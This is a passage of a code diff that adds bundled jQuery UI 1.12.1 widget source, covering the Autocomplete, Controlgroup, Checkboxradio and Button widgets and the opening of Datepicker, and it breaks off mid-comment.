+			if ( index === this.requestIndex ) {
+				this.__response( content );
+			}
+
+			this.pending--;
+			if ( !this.pending ) {
+				this._removeClass( "ui-autocomplete-loading" );
+			}
+		}, this );
+	},
+
+	__response: function( content ) {
+		if ( content ) {
+			content = this._normalize( content );
+		}
+		this._trigger( "response", null, { content: content } );
+		if ( !this.options.disabled && content && content.length && !this.cancelSearch ) {
+			this._suggest( content );
+			this._trigger( "open" );
+		} else {
+
+			// use ._close() instead of .close() so we don't cancel future searches
+			this._close();
+		}
+	},
+
+	close: function( event ) {
+		this.cancelSearch = true;
+		this._close( event );
+	},
+
+	_close: function( event ) {
+
+		// Remove the handler that closes the menu on outside clicks
+		this._off( this.document, "mousedown" );
+
+		if ( this.menu.element.is( ":visible" ) ) {
+			this.menu.element.hide();
+			this.menu.blur();
+			this.isNewMenu = true;
+			this._trigger( "close", event );
+		}
+	},
+
+	_change: function( event ) {
+		if ( this.previous !== this._value() ) {
+			this._trigger( "change", event, { item: this.selectedItem } );
+		}
+	},
+
+	_normalize: function( items ) {
+
+		// assume all items have the right format when the first item is complete
+		if ( items.length && items[ 0 ].label && items[ 0 ].value ) {
+			return items;
+		}
+		return $.map( items, function( item ) {
+			if ( typeof item === "string" ) {
+				return {
+					label: item,
+					value: item
+				};
+			}
+			return $.extend( {}, item, {
+				label: item.label || item.value,
+				value: item.value || item.label
+			} );
+		} );
+	},
+
+	_suggest: function( items ) {
+		var ul = this.menu.element.empty();
+		this._renderMenu( ul, items );
+		this.isNewMenu = true;
+		this.menu.refresh();
+
+		// Size and position menu
+		ul.show();
+		this._resizeMenu();
+		ul.position( $.extend( {
+			of: this.element
+		}, this.options.position ) );
+
+		if ( this.options.autoFocus ) {
+			this.menu.next();
+		}
+
+		// Listen for interactions outside of the widget (#6642)
+		this._on( this.document, {
+			mousedown: "_closeOnClickOutside"
+		} );
+	},
+
+	_resizeMenu: function() {
+		var ul = this.menu.element;
+		ul.outerWidth( Math.max(
+
+			// Firefox wraps long text (possibly a rounding bug)
+			// so we add 1px to avoid the wrapping (#7513)
+			ul.width( "" ).outerWidth() + 1,
+			this.element.outerWidth()
+		) );
+	},
+
+	_renderMenu: function( ul, items ) {
+		var that = this;
+		$.each( items, function( index, item ) {
+			that._renderItemData( ul, item );
+		} );
+	},
+
+	_renderItemData: function( ul, item ) {
+		return this._renderItem( ul, item ).data( "ui-autocomplete-item", item );
+	},
+
+	_renderItem: function( ul, item ) {
+		return $( "<li>" )
+			.append( $( "<div>" ).text( item.label ) )
+			.appendTo( ul );
+	},
+
+	_move: function( direction, event ) {
+		if ( !this.menu.element.is( ":visible" ) ) {
+			this.search( null, event );
+			return;
+		}
+		if ( this.menu.isFirstItem() && /^previous/.test( direction ) ||
+				this.menu.isLastItem() && /^next/.test( direction ) ) {
+
+			if ( !this.isMultiLine ) {
+				this._value( this.term );
+			}
+
+			this.menu.blur();
+			return;
+		}
+		this.menu[ direction ]( event );
+	},
+
+	widget: function() {
+		return this.menu.element;
+	},
+
+	_value: function() {
+		return this.valueMethod.apply( this.element, arguments );
+	},
+
+	_keyEvent: function( keyEvent, event ) {
+		if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) {
+			this._move( keyEvent, event );
+
+			// Prevents moving cursor to beginning/end of the text field in some browsers
+			event.preventDefault();
+		}
+	},
+
+	// Support: Chrome <=50
+	// We should be able to just use this.element.prop( "isContentEditable" )
+	// but hidden elements always report false in Chrome.
+	// https://code.google.com/p/chromium/issues/detail?id=313082
+	_isContentEditable: function( element ) {
+		if ( !element.length ) {
+			return false;
+		}
+
+		var editable = element.prop( "contentEditable" );
+
+		if ( editable === "inherit" ) {
+		  return this._isContentEditable( element.parent() );
+		}
+
+		return editable === "true";
+	}
+} );
+
+$.extend( $.ui.autocomplete, {
+	escapeRegex: function( value ) {
+		return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" );
+	},
+	filter: function( array, term ) {
+		var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" );
+		return $.grep( array, function( value ) {
+			return matcher.test( value.label || value.value || value );
+		} );
+	}
+} );
+
+// Live region extension, adding a `messages` option
+// NOTE: This is an experimental API. We are still investigating
+// a full solution for string manipulation and internationalization.
+$.widget( "ui.autocomplete", $.ui.autocomplete, {
+	options: {
+		messages: {
+			noResults: "No search results.",
+			results: function( amount ) {
+				return amount + ( amount > 1 ? " results are" : " result is" ) +
+					" available, use up and down arrow keys to navigate.";
+			}
+		}
+	},
+
+	__response: function( content ) {
+		var message;
+		this._superApply( arguments );
+		if ( this.options.disabled || this.cancelSearch ) {
+			return;
+		}
+		if ( content && content.length ) {
+			message = this.options.messages.results( content.length );
+		} else {
+			message = this.options.messages.noResults;
+		}
+		this.liveRegion.children().hide();
+		$( "<div>" ).text( message ).appendTo( this.liveRegion );
+	}
+} );
+
+var widgetsAutocomplete = $.ui.autocomplete;
+
+
+/*!
+ * jQuery UI Controlgroup 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Controlgroup
+//>>group: Widgets
+//>>description: Visually groups form control widgets
+//>>docs: http://api.jqueryui.com/controlgroup/
+//>>demos: http://jqueryui.com/controlgroup/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/controlgroup.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g;
+
+var widgetsControlgroup = $.widget( "ui.controlgroup", {
+	version: "1.12.1",
+	defaultElement: "<div>",
+	options: {
+		direction: "horizontal",
+		disabled: null,
+		onlyVisible: true,
+		items: {
+			"button": "input[type=button], input[type=submit], input[type=reset], button, a",
+			"controlgroupLabel": ".ui-controlgroup-label",
+			"checkboxradio": "input[type='checkbox'], input[type='radio']",
+			"selectmenu": "select",
+			"spinner": ".ui-spinner-input"
+		}
+	},
+
+	_create: function() {
+		this._enhance();
+	},
+
+	// To support the enhanced option in jQuery Mobile, we isolate DOM manipulation
+	_enhance: function() {
+		this.element.attr( "role", "toolbar" );
+		this.refresh();
+	},
+
+	_destroy: function() {
+		this._callChildMethod( "destroy" );
+		this.childWidgets.removeData( "ui-controlgroup-data" );
+		this.element.removeAttr( "role" );
+		if ( this.options.items.controlgroupLabel ) {
+			this.element
+				.find( this.options.items.controlgroupLabel )
+				.find( ".ui-controlgroup-label-contents" )
+				.contents().unwrap();
+		}
+	},
+
+	_initWidgets: function() {
+		var that = this,
+			childWidgets = [];
+
+		// First we iterate over each of the items options
+		$.each( this.options.items, function( widget, selector ) {
+			var labels;
+			var options = {};
+
+			// Make sure the widget has a selector set
+			if ( !selector ) {
+				return;
+			}
+
+			if ( widget === "controlgroupLabel" ) {
+				labels = that.element.find( selector );
+				labels.each( function() {
+					var element = $( this );
+
+					if ( element.children( ".ui-controlgroup-label-contents" ).length ) {
+						return;
+					}
+					element.contents()
+						.wrapAll( "<span class='ui-controlgroup-label-contents'></span>" );
+				} );
+				that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" );
+				childWidgets = childWidgets.concat( labels.get() );
+				return;
+			}
+
+			// Make sure the widget actually exists
+			if ( !$.fn[ widget ] ) {
+				return;
+			}
+
+			// We assume everything is in the middle to start because we can't determine
+			// first / last elements until all enhancments are done.
+			if ( that[ "_" + widget + "Options" ] ) {
+				options = that[ "_" + widget + "Options" ]( "middle" );
+			} else {
+				options = { classes: {} };
+			}
+
+			// Find instances of this widget inside controlgroup and init them
+			that.element
+				.find( selector )
+				.each( function() {
+					var element = $( this );
+					var instance = element[ widget ]( "instance" );
+
+					// We need to clone the default options for this type of widget to avoid
+					// polluting the variable options which has a wider scope than a single widget.
+					var instanceOptions = $.widget.extend( {}, options );
+
+					// If the button is the child of a spinner ignore it
+					// TODO: Find a more generic solution
+					if ( widget === "button" && element.parent( ".ui-spinner" ).length ) {
+						return;
+					}
+
+					// Create the widget if it doesn't exist
+					if ( !instance ) {
+						instance = element[ widget ]()[ widget ]( "instance" );
+					}
+					if ( instance ) {
+						instanceOptions.classes =
+							that._resolveClassesValues( instanceOptions.classes, instance );
+					}
+					element[ widget ]( instanceOptions );
+
+					// Store an instance of the controlgroup to be able to reference
+					// from the outermost element for changing options and refresh
+					var widgetElement = element[ widget ]( "widget" );
+					$.data( widgetElement[ 0 ], "ui-controlgroup-data",
+						instance ? instance : element[ widget ]( "instance" ) );
+
+					childWidgets.push( widgetElement[ 0 ] );
+				} );
+		} );
+
+		this.childWidgets = $( $.unique( childWidgets ) );
+		this._addClass( this.childWidgets, "ui-controlgroup-item" );
+	},
+
+	_callChildMethod: function( method ) {
+		this.childWidgets.each( function() {
+			var element = $( this ),
+				data = element.data( "ui-controlgroup-data" );
+			if ( data && data[ method ] ) {
+				data[ method ]();
+			}
+		} );
+	},
+
+	_updateCornerClass: function( element, position ) {
+		var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all";
+		var add = this._buildSimpleOptions( position, "label" ).classes.label;
+
+		this._removeClass( element, null, remove );
+		this._addClass( element, null, add );
+	},
+
+	_buildSimpleOptions: function( position, key ) {
+		var direction = this.options.direction === "vertical";
+		var result = {
+			classes: {}
+		};
+		result.classes[ key ] = {
+			"middle": "",
+			"first": "ui-corner-" + ( direction ? "top" : "left" ),
+			"last": "ui-corner-" + ( direction ? "bottom" : "right" ),
+			"only": "ui-corner-all"
+		}[ position ];
+
+		return result;
+	},
+
+	_spinnerOptions: function( position ) {
+		var options = this._buildSimpleOptions( position, "ui-spinner" );
+
+		options.classes[ "ui-spinner-up" ] = "";
+		options.classes[ "ui-spinner-down" ] = "";
+
+		return options;
+	},
+
+	_buttonOptions: function( position ) {
+		return this._buildSimpleOptions( position, "ui-button" );
+	},
+
+	_checkboxradioOptions: function( position ) {
+		return this._buildSimpleOptions( position, "ui-checkboxradio-label" );
+	},
+
+	_selectmenuOptions: function( position ) {
+		var direction = this.options.direction === "vertical";
+		return {
+			width: direction ? "auto" : false,
+			classes: {
+				middle: {
+					"ui-selectmenu-button-open": "",
+					"ui-selectmenu-button-closed": ""
+				},
+				first: {
+					"ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ),
+					"ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" )
+				},
+				last: {
+					"ui-selectmenu-button-open": direction ? "" : "ui-corner-tr",
+					"ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" )
+				},
+				only: {
+					"ui-selectmenu-button-open": "ui-corner-top",
+					"ui-selectmenu-button-closed": "ui-corner-all"
+				}
+
+			}[ position ]
+		};
+	},
+
+	_resolveClassesValues: function( classes, instance ) {
+		var result = {};
+		$.each( classes, function( key ) {
+			var current = instance.options.classes[ key ] || "";
+			current = $.trim( current.replace( controlgroupCornerRegex, "" ) );
+			result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " );
+		} );
+		return result;
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "direction" ) {
+			this._removeClass( "ui-controlgroup-" + this.options.direction );
+		}
+
+		this._super( key, value );
+		if ( key === "disabled" ) {
+			this._callChildMethod( value ? "disable" : "enable" );
+			return;
+		}
+
+		this.refresh();
+	},
+
+	refresh: function() {
+		var children,
+			that = this;
+
+		this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction );
+
+		if ( this.options.direction === "horizontal" ) {
+			this._addClass( null, "ui-helper-clearfix" );
+		}
+		this._initWidgets();
+
+		children = this.childWidgets;
+
+		// We filter here because we need to track all childWidgets not just the visible ones
+		if ( this.options.onlyVisible ) {
+			children = children.filter( ":visible" );
+		}
+
+		if ( children.length ) {
+
+			// We do this last because we need to make sure all enhancment is done
+			// before determining first and last
+			$.each( [ "first", "last" ], function( index, value ) {
+				var instance = children[ value ]().data( "ui-controlgroup-data" );
+
+				if ( instance && that[ "_" + instance.widgetName + "Options" ] ) {
+					var options = that[ "_" + instance.widgetName + "Options" ](
+						children.length === 1 ? "only" : value
+					);
+					options.classes = that._resolveClassesValues( options.classes, instance );
+					instance.element[ instance.widgetName ]( options );
+				} else {
+					that._updateCornerClass( children[ value ](), value );
+				}
+			} );
+
+			// Finally call the refresh method on each of the child widgets.
+			this._callChildMethod( "refresh" );
+		}
+	}
+} );
+
+/*!
+ * jQuery UI Checkboxradio 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Checkboxradio
+//>>group: Widgets
+//>>description: Enhances a form with multiple themeable checkboxes or radio buttons.
+//>>docs: http://api.jqueryui.com/checkboxradio/
+//>>demos: http://jqueryui.com/checkboxradio/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/button.css
+//>>css.structure: ../../themes/base/checkboxradio.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.widget( "ui.checkboxradio", [ $.ui.formResetMixin, {
+	version: "1.12.1",
+	options: {
+		disabled: null,
+		label: null,
+		icon: true,
+		classes: {
+			"ui-checkboxradio-label": "ui-corner-all",
+			"ui-checkboxradio-icon": "ui-corner-all"
+		}
+	},
+
+	_getCreateOptions: function() {
+		var disabled, labels;
+		var that = this;
+		var options = this._super() || {};
+
+		// We read the type here, because it makes more sense to throw a element type error first,
+		// rather then the error for lack of a label. Often if its the wrong type, it
+		// won't have a label (e.g. calling on a div, btn, etc)
+		this._readType();
+
+		labels = this.element.labels();
+
+		// If there are multiple labels, use the last one
+		this.label = $( labels[ labels.length - 1 ] );
+		if ( !this.label.length ) {
+			$.error( "No label found for checkboxradio widget" );
+		}
+
+		this.originalLabel = "";
+
+		// We need to get the label text but this may also need to make sure it does not contain the
+		// input itself.
+		this.label.contents().not( this.element[ 0 ] ).each( function() {
+
+			// The label contents could be text, html, or a mix. We concat each element to get a
+			// string representation of the label, without the input as part of it.
+			that.originalLabel += this.nodeType === 3 ? $( this ).text() : this.outerHTML;
+		} );
+
+		// Set the label option if we found label text
+		if ( this.originalLabel ) {
+			options.label = this.originalLabel;
+		}
+
+		disabled = this.element[ 0 ].disabled;
+		if ( disabled != null ) {
+			options.disabled = disabled;
+		}
+		return options;
+	},
+
+	_create: function() {
+		var checked = this.element[ 0 ].checked;
+
+		this._bindFormResetHandler();
+
+		if ( this.options.disabled == null ) {
+			this.options.disabled = this.element[ 0 ].disabled;
+		}
+
+		this._setOption( "disabled", this.options.disabled );
+		this._addClass( "ui-checkboxradio", "ui-helper-hidden-accessible" );
+		this._addClass( this.label, "ui-checkboxradio-label", "ui-button ui-widget" );
+
+		if ( this.type === "radio" ) {
+			this._addClass( this.label, "ui-checkboxradio-radio-label" );
+		}
+
+		if ( this.options.label && this.options.label !== this.originalLabel ) {
+			this._updateLabel();
+		} else if ( this.originalLabel ) {
+			this.options.label = this.originalLabel;
+		}
+
+		this._enhance();
+
+		if ( checked ) {
+			this._addClass( this.label, "ui-checkboxradio-checked", "ui-state-active" );
+			if ( this.icon ) {
+				this._addClass( this.icon, null, "ui-state-hover" );
+			}
+		}
+
+		this._on( {
+			change: "_toggleClasses",
+			focus: function() {
+				this._addClass( this.label, null, "ui-state-focus ui-visual-focus" );
+			},
+			blur: function() {
+				this._removeClass( this.label, null, "ui-state-focus ui-visual-focus" );
+			}
+		} );
+	},
+
+	_readType: function() {
+		var nodeName = this.element[ 0 ].nodeName.toLowerCase();
+		this.type = this.element[ 0 ].type;
+		if ( nodeName !== "input" || !/radio|checkbox/.test( this.type ) ) {
+			$.error( "Can't create checkboxradio on element.nodeName=" + nodeName +
+				" and element.type=" + this.type );
+		}
+	},
+
+	// Support jQuery Mobile enhanced option
+	_enhance: function() {
+		this._updateIcon( this.element[ 0 ].checked );
+	},
+
+	widget: function() {
+		return this.label;
+	},
+
+	_getRadioGroup: function() {
+		var group;
+		var name = this.element[ 0 ].name;
+		var nameSelector = "input[name='" + $.ui.escapeSelector( name ) + "']";
+
+		if ( !name ) {
+			return $( [] );
+		}
+
+		if ( this.form.length ) {
+			group = $( this.form[ 0 ].elements ).filter( nameSelector );
+		} else {
+
+			// Not inside a form, check all inputs that also are not inside a form
+			group = $( nameSelector ).filter( function() {
+				return $( this ).form().length === 0;
+			} );
+		}
+
+		return group.not( this.element );
+	},
+
+	_toggleClasses: function() {
+		var checked = this.element[ 0 ].checked;
+		this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked );
+
+		if ( this.options.icon && this.type === "checkbox" ) {
+			this._toggleClass( this.icon, null, "ui-icon-check ui-state-checked", checked )
+				._toggleClass( this.icon, null, "ui-icon-blank", !checked );
+		}
+
+		if ( this.type === "radio" ) {
+			this._getRadioGroup()
+				.each( function() {
+					var instance = $( this ).checkboxradio( "instance" );
+
+					if ( instance ) {
+						instance._removeClass( instance.label,
+							"ui-checkboxradio-checked", "ui-state-active" );
+					}
+				} );
+		}
+	},
+
+	_destroy: function() {
+		this._unbindFormResetHandler();
+
+		if ( this.icon ) {
+			this.icon.remove();
+			this.iconSpace.remove();
+		}
+	},
+
+	_setOption: function( key, value ) {
+
+		// We don't allow the value to be set to nothing
+		if ( key === "label" && !value ) {
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "disabled" ) {
+			this._toggleClass( this.label, null, "ui-state-disabled", value );
+			this.element[ 0 ].disabled = value;
+
+			// Don't refresh when setting disabled
+			return;
+		}
+		this.refresh();
+	},
+
+	_updateIcon: function( checked ) {
+		var toAdd = "ui-icon ui-icon-background ";
+
+		if ( this.options.icon ) {
+			if ( !this.icon ) {
+				this.icon = $( "<span>" );
+				this.iconSpace = $( "<span> </span>" );
+				this._addClass( this.iconSpace, "ui-checkboxradio-icon-space" );
+			}
+
+			if ( this.type === "checkbox" ) {
+				toAdd += checked ? "ui-icon-check ui-state-checked" : "ui-icon-blank";
+				this._removeClass( this.icon, null, checked ? "ui-icon-blank" : "ui-icon-check" );
+			} else {
+				toAdd += "ui-icon-blank";
+			}
+			this._addClass( this.icon, "ui-checkboxradio-icon", toAdd );
+			if ( !checked ) {
+				this._removeClass( this.icon, null, "ui-icon-check ui-state-checked" );
+			}
+			this.icon.prependTo( this.label ).after( this.iconSpace );
+		} else if ( this.icon !== undefined ) {
+			this.icon.remove();
+			this.iconSpace.remove();
+			delete this.icon;
+		}
+	},
+
+	_updateLabel: function() {
+
+		// Remove the contents of the label ( minus the icon, icon space, and input )
+		var contents = this.label.contents().not( this.element[ 0 ] );
+		if ( this.icon ) {
+			contents = contents.not( this.icon[ 0 ] );
+		}
+		if ( this.iconSpace ) {
+			contents = contents.not( this.iconSpace[ 0 ] );
+		}
+		contents.remove();
+
+		this.label.append( this.options.label );
+	},
+
+	refresh: function() {
+		var checked = this.element[ 0 ].checked,
+			isDisabled = this.element[ 0 ].disabled;
+
+		this._updateIcon( checked );
+		this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked );
+		if ( this.options.label !== null ) {
+			this._updateLabel();
+		}
+
+		if ( isDisabled !== this.options.disabled ) {
+			this._setOptions( { "disabled": isDisabled } );
+		}
+	}
+
+} ] );
+
+var widgetsCheckboxradio = $.ui.checkboxradio;
+
+
+/*!
+ * jQuery UI Button 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Button
+//>>group: Widgets
+//>>description: Enhances a form with themeable buttons.
+//>>docs: http://api.jqueryui.com/button/
+//>>demos: http://jqueryui.com/button/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/button.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.widget( "ui.button", {
+	version: "1.12.1",
+	defaultElement: "<button>",
+	options: {
+		classes: {
+			"ui-button": "ui-corner-all"
+		},
+		disabled: null,
+		icon: null,
+		iconPosition: "beginning",
+		label: null,
+		showLabel: true
+	},
+
+	_getCreateOptions: function() {
+		var disabled,
+
+			// This is to support cases like in jQuery Mobile where the base widget does have
+			// an implementation of _getCreateOptions
+			options = this._super() || {};
+
+		this.isInput = this.element.is( "input" );
+
+		disabled = this.element[ 0 ].disabled;
+		if ( disabled != null ) {
+			options.disabled = disabled;
+		}
+
+		this.originalLabel = this.isInput ? this.element.val() : this.element.html();
+		if ( this.originalLabel ) {
+			options.label = this.originalLabel;
+		}
+
+		return options;
+	},
+
+	_create: function() {
+		if ( !this.option.showLabel & !this.options.icon ) {
+			this.options.showLabel = true;
+		}
+
+		// We have to check the option again here even though we did in _getCreateOptions,
+		// because null may have been passed on init which would override what was set in
+		// _getCreateOptions
+		if ( this.options.disabled == null ) {
+			this.options.disabled = this.element[ 0 ].disabled || false;
+		}
+
+		this.hasTitle = !!this.element.attr( "title" );
+
+		// Check to see if the label needs to be set or if its already correct
+		if ( this.options.label && this.options.label !== this.originalLabel ) {
+			if ( this.isInput ) {
+				this.element.val( this.options.label );
+			} else {
+				this.element.html( this.options.label );
+			}
+		}
+		this._addClass( "ui-button", "ui-widget" );
+		this._setOption( "disabled", this.options.disabled );
+		this._enhance();
+
+		if ( this.element.is( "a" ) ) {
+			this._on( {
+				"keyup": function( event ) {
+					if ( event.keyCode === $.ui.keyCode.SPACE ) {
+						event.preventDefault();
+
+						// Support: PhantomJS <= 1.9, IE 8 Only
+						// If a native click is available use it so we actually cause navigation
+						// otherwise just trigger a click event
+						if ( this.element[ 0 ].click ) {
+							this.element[ 0 ].click();
+						} else {
+							this.element.trigger( "click" );
+						}
+					}
+				}
+			} );
+		}
+	},
+
+	_enhance: function() {
+		if ( !this.element.is( "button" ) ) {
+			this.element.attr( "role", "button" );
+		}
+
+		if ( this.options.icon ) {
+			this._updateIcon( "icon", this.options.icon );
+			this._updateTooltip();
+		}
+	},
+
+	_updateTooltip: function() {
+		this.title = this.element.attr( "title" );
+
+		if ( !this.options.showLabel && !this.title ) {
+			this.element.attr( "title", this.options.label );
+		}
+	},
+
+	_updateIcon: function( option, value ) {
+		var icon = option !== "iconPosition",
+			position = icon ? this.options.iconPosition : value,
+			displayBlock = position === "top" || position === "bottom";
+
+		// Create icon
+		if ( !this.icon ) {
+			this.icon = $( "<span>" );
+
+			this._addClass( this.icon, "ui-button-icon", "ui-icon" );
+
+			if ( !this.options.showLabel ) {
+				this._addClass( "ui-button-icon-only" );
+			}
+		} else if ( icon ) {
+
+			// If we are updating the icon remove the old icon class
+			this._removeClass( this.icon, null, this.options.icon );
+		}
+
+		// If we are updating the icon add the new icon class
+		if ( icon ) {
+			this._addClass( this.icon, null, value );
+		}
+
+		this._attachIcon( position );
+
+		// If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove
+		// the iconSpace if there is one.
+		if ( displayBlock ) {
+			this._addClass( this.icon, null, "ui-widget-icon-block" );
+			if ( this.iconSpace ) {
+				this.iconSpace.remove();
+			}
+		} else {
+
+			// Position is beginning or end so remove the ui-widget-icon-block class and add the
+			// space if it does not exist
+			if ( !this.iconSpace ) {
+				this.iconSpace = $( "<span> </span>" );
+				this._addClass( this.iconSpace, "ui-button-icon-space" );
+			}
+			this._removeClass( this.icon, null, "ui-wiget-icon-block" );
+			this._attachIconSpace( position );
+		}
+	},
+
+	_destroy: function() {
+		this.element.removeAttr( "role" );
+
+		if ( this.icon ) {
+			this.icon.remove();
+		}
+		if ( this.iconSpace ) {
+			this.iconSpace.remove();
+		}
+		if ( !this.hasTitle ) {
+			this.element.removeAttr( "title" );
+		}
+	},
+
+	_attachIconSpace: function( iconPosition ) {
+		this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace );
+	},
+
+	_attachIcon: function( iconPosition ) {
+		this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon );
+	},
+
+	_setOptions: function( options ) {
+		var newShowLabel = options.showLabel === undefined ?
+				this.options.showLabel :
+				options.showLabel,
+			newIcon = options.icon === undefined ? this.options.icon : options.icon;
+
+		if ( !newShowLabel && !newIcon ) {
+			options.showLabel = true;
+		}
+		this._super( options );
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icon" ) {
+			if ( value ) {
+				this._updateIcon( key, value );
+			} else if ( this.icon ) {
+				this.icon.remove();
+				if ( this.iconSpace ) {
+					this.iconSpace.remove();
+				}
+			}
+		}
+
+		if ( key === "iconPosition" ) {
+			this._updateIcon( key, value );
+		}
+
+		// Make sure we can't end up with a button that has neither text nor icon
+		if ( key === "showLabel" ) {
+				this._toggleClass( "ui-button-icon-only", null, !value );
+				this._updateTooltip();
+		}
+
+		if ( key === "label" ) {
+			if ( this.isInput ) {
+				this.element.val( value );
+			} else {
+
+				// If there is an icon, append it, else nothing then append the value
+				// this avoids removal of the icon when setting label text
+				this.element.html( value );
+				if ( this.icon ) {
+					this._attachIcon( this.options.iconPosition );
+					this._attachIconSpace( this.options.iconPosition );
+				}
+			}
+		}
+
+		this._super( key, value );
+
+		if ( key === "disabled" ) {
+			this._toggleClass( null, "ui-state-disabled", value );
+			this.element[ 0 ].disabled = value;
+			if ( value ) {
+				this.element.blur();
+			}
+		}
+	},
+
+	refresh: function() {
+
+		// Make sure to only check disabled if its an element that supports this otherwise
+		// check for the disabled class to determine state
+		var isDisabled = this.element.is( "input, button" ) ?
+			this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" );
+
+		if ( isDisabled !== this.options.disabled ) {
+			this._setOptions( { disabled: isDisabled } );
+		}
+
+		this._updateTooltip();
+	}
+} );
+
+// DEPRECATED
+if ( $.uiBackCompat !== false ) {
+
+	// Text and Icons options
+	$.widget( "ui.button", $.ui.button, {
+		options: {
+			text: true,
+			icons: {
+				primary: null,
+				secondary: null
+			}
+		},
+
+		_create: function() {
+			if ( this.options.showLabel && !this.options.text ) {
+				this.options.showLabel = this.options.text;
+			}
+			if ( !this.options.showLabel && this.options.text ) {
+				this.options.text = this.options.showLabel;
+			}
+			if ( !this.options.icon && ( this.options.icons.primary ||
+					this.options.icons.secondary ) ) {
+				if ( this.options.icons.primary ) {
+					this.options.icon = this.options.icons.primary;
+				} else {
+					this.options.icon = this.options.icons.secondary;
+					this.options.iconPosition = "end";
+				}
+			} else if ( this.options.icon ) {
+				this.options.icons.primary = this.options.icon;
+			}
+			this._super();
+		},
+
+		_setOption: function( key, value ) {
+			if ( key === "text" ) {
+				this._super( "showLabel", value );
+				return;
+			}
+			if ( key === "showLabel" ) {
+				this.options.text = value;
+			}
+			if ( key === "icon" ) {
+				this.options.icons.primary = value;
+			}
+			if ( key === "icons" ) {
+				if ( value.primary ) {
+					this._super( "icon", value.primary );
+					this._super( "iconPosition", "beginning" );
+				} else if ( value.secondary ) {
+					this._super( "icon", value.secondary );
+					this._super( "iconPosition", "end" );
+				}
+			}
+			this._superApply( arguments );
+		}
+	} );
+
+	$.fn.button = ( function( orig ) {
+		return function() {
+			if ( !this.length || ( this.length && this[ 0 ].tagName !== "INPUT" ) ||
+					( this.length && this[ 0 ].tagName === "INPUT" && (
+						this.attr( "type" ) !== "checkbox" && this.attr( "type" ) !== "radio"
+					) ) ) {
+				return orig.apply( this, arguments );
+			}
+			if ( !$.ui.checkboxradio ) {
+				$.error( "Checkboxradio widget missing" );
+			}
+			if ( arguments.length === 0 ) {
+				return this.checkboxradio( {
+					"icon": false
+				} );
+			}
+			return this.checkboxradio.apply( this, arguments );
+		};
+	} )( $.fn.button );
+
+	$.fn.buttonset = function() {
+		if ( !$.ui.controlgroup ) {
+			$.error( "Controlgroup widget missing" );
+		}
+		if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) {
+			return this.controlgroup.apply( this,
+				[ arguments[ 0 ], "items.button", arguments[ 2 ] ] );
+		}
+		if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) {
+			return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] );
+		}
+		if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) {
+			arguments[ 0 ].items = {
+				button: arguments[ 0 ].items
+			};
+		}
+		return this.controlgroup.apply( this, arguments );
+	};
+}
+
+var widgetsButton = $.ui.button;
+
+
+// jscs:disable maximumLineLength
+/* jscs:disable requireCamelCaseOrUpperCaseIdentifiers */
+/*!
+ * jQuery UI Datepicker 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Datepicker
+//>>group: Widgets
+//>>description: Displays a calendar from an input or inline for selecting dates.
+//>>docs: http://api.jqueryui.com/datepicker/
+//>>demos: http://jqueryui.com/datepicker/
+//>>css.structure: ../../themes/base/core.css
+//>>css.structure: ../../themes/base/datepicker.css
+//>>css.theme: ../../themes/base/theme.css
+
+
+
+$.extend( $.ui, { datepicker: { version: "1.12.1" } } );
+
+var datepicker_instActive;
+
+function datepicker_getZindex( elem ) {
+	var position, value;
+	while ( elem.length && elem[ 0 ] !== document ) {
+
+		// Ignore z-index if position is set to a value where z-index is ignored by the browser
+		// This makes behavior of this function consistent across browsers
+		// WebKit always returns auto if the element is positioned
+		position = elem.css( "position" );
+		if ( position === "absolute" || position === "relative" || position === "fixed" ) {
+
+			// IE returns 0 when zIndex is not specified
+			// other browsers return a string
+			// we ignore the case of nested elements with an explicit value of 0
+			// <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
+			value = parseInt( elem.css( "zIndex" ), 10 );
+			if ( !isNaN( value ) && value !== 0 ) {
+				return value;
+			}
+		}
+		elem = elem.parent();
+	}
+
+	return 0;
+}
+/* Date picker manager.
+   Use the singleton instance of this class, $.datepicker, to interact with the date picker.
+   Settings for (groups of) date pickers are maintained in an instance object,
